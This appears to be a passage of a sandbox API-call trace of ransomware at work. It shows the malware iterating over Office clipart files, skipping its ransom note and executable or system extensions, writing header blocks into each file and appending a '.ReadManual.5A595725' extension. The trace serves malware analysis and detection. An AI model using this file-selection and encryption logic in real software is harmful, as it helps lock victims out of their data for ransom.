ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0260.570] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD09194_.WMF" | out: lpString1="BD09194_.WMF") returned="BD09194_.WMF" [0260.570] lstrcmpiW (lpString1="BD09194_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.570] StrStrIW (lpFirst="BD09194_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.570] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.570] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.570] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" [0260.570] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ReadManual.5A595725" [0260.570] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF.ReadManual.5A595725") returned 87 [0260.570] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38123896462) returned 1 [0260.570] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x20 [0260.570] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.571] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14540) returned 1 [0260.571] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x38cc, lpName=0x0) returned 0x184 [0260.571] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.571] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.571] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.573] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.573] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x38cc) returned 0x2f0000 [0260.574] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.574] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38124239695) returned 1 [0260.574] CloseHandle (hObject=0x184) returned 1 [0260.574] SetSecurityInfo () returned 0x57 [0260.574] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.574] CloseHandle (hObject=0x194) returned 1 [0260.575] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0260.575] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD09662_.WMF" | out: lpString1="BD09662_.WMF") returned="BD09662_.WMF" [0260.575] lstrcmpiW (lpString1="BD09662_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.575] StrStrIW (lpFirst="BD09662_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.575] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.575] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.575] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" [0260.575] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ReadManual.5A595725" [0260.575] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.ReadManual.5A595725") returned 87 [0260.575] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38124402956) returned 1 [0260.575] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x20 [0260.576] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.576] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20554) returned 1 [0260.576] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x504a, lpName=0x0) returned 0x184 [0260.577] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.577] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.577] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.579] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.580] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x504a) returned 0x2f0000 [0260.580] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.580] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38124878931) returned 1 [0260.580] CloseHandle (hObject=0x184) returned 1 [0260.580] SetSecurityInfo () returned 0x57 [0260.580] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.580] CloseHandle (hObject=0x194) returned 1 [0260.581] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0260.581] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD09664_.WMF" | out: lpString1="BD09664_.WMF") returned="BD09664_.WMF" [0260.581] lstrcmpiW (lpString1="BD09664_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.581] StrStrIW (lpFirst="BD09664_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.581] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.581] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.581] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.581] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.581] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.581] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.582] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.582] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" [0260.582] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ReadManual.5A595725" [0260.582] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.ReadManual.5A595725") returned 87 [0260.582] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38125071950) returned 1 [0260.582] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0260.582] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.582] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7966) returned 1 [0260.583] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f1e, lpName=0x0) returned 0x184 [0260.583] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.583] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.583] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.585] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.586] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f1e) returned 0x2f0000 [0260.586] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.586] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38125472817) returned 1 [0260.586] CloseHandle (hObject=0x184) returned 1 [0260.586] SetSecurityInfo () returned 0x57 [0260.586] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.586] CloseHandle (hObject=0x194) returned 1 [0260.587] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0260.587] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD10890_.GIF" | out: lpString1="BD10890_.GIF") returned="BD10890_.GIF" [0260.587] lstrcmpiW (lpString1="BD10890_.GIF", lpString2="RecoveryManual.html") returned -1 [0260.587] StrStrIW (lpFirst="BD10890_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.587] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0260.587] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0260.587] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0260.587] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" [0260.587] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ReadManual.5A595725" [0260.588] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.ReadManual.5A595725") returned 87 [0260.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38125633039) returned 1 [0260.588] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0260.588] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.588] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13515) returned 1 [0260.588] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34cb, lpName=0x0) returned 0x184 [0260.588] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.589] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.589] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.591] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.591] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x34cb) returned 0x2f0000 [0260.591] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.591] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38126021880) returned 1 [0260.591] CloseHandle (hObject=0x184) returned 1 [0260.592] SetSecurityInfo () returned 0x57 [0260.592] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.592] CloseHandle (hObject=0x194) returned 1 [0260.592] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0260.592] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD10972_.GIF" | out: lpString1="BD10972_.GIF") returned="BD10972_.GIF" [0260.592] lstrcmpiW (lpString1="BD10972_.GIF", lpString2="RecoveryManual.html") returned -1 [0260.592] StrStrIW (lpFirst="BD10972_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.592] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0260.592] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0260.593] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0260.593] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0260.593] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0260.593] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0260.593] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0260.593] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0260.593] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" [0260.593] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ReadManual.5A595725" [0260.593] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.ReadManual.5A595725") returned 87 [0260.593] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38126175288) returned 1 [0260.593] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0260.594] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.594] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20189) returned 1 [0260.594] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4edd, lpName=0x0) returned 0x184 [0260.594] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.595] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.595] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.597] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.597] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4edd) returned 0x2f0000 [0260.597] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.597] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38126596053) returned 1 [0260.597] CloseHandle (hObject=0x184) returned 1 [0260.597] SetSecurityInfo () returned 0x57 [0260.597] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.597] CloseHandle (hObject=0x194) returned 1 [0260.598] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0260.598] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19563_.GIF" | out: lpString1="BD19563_.GIF") returned="BD19563_.GIF" [0260.598] lstrcmpiW (lpString1="BD19563_.GIF", lpString2="RecoveryManual.html") returned -1 [0260.598] StrStrIW (lpFirst="BD19563_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.598] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0260.598] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0260.598] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0260.598] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0260.598] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0260.598] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0260.598] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0260.599] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0260.599] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0260.599] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft 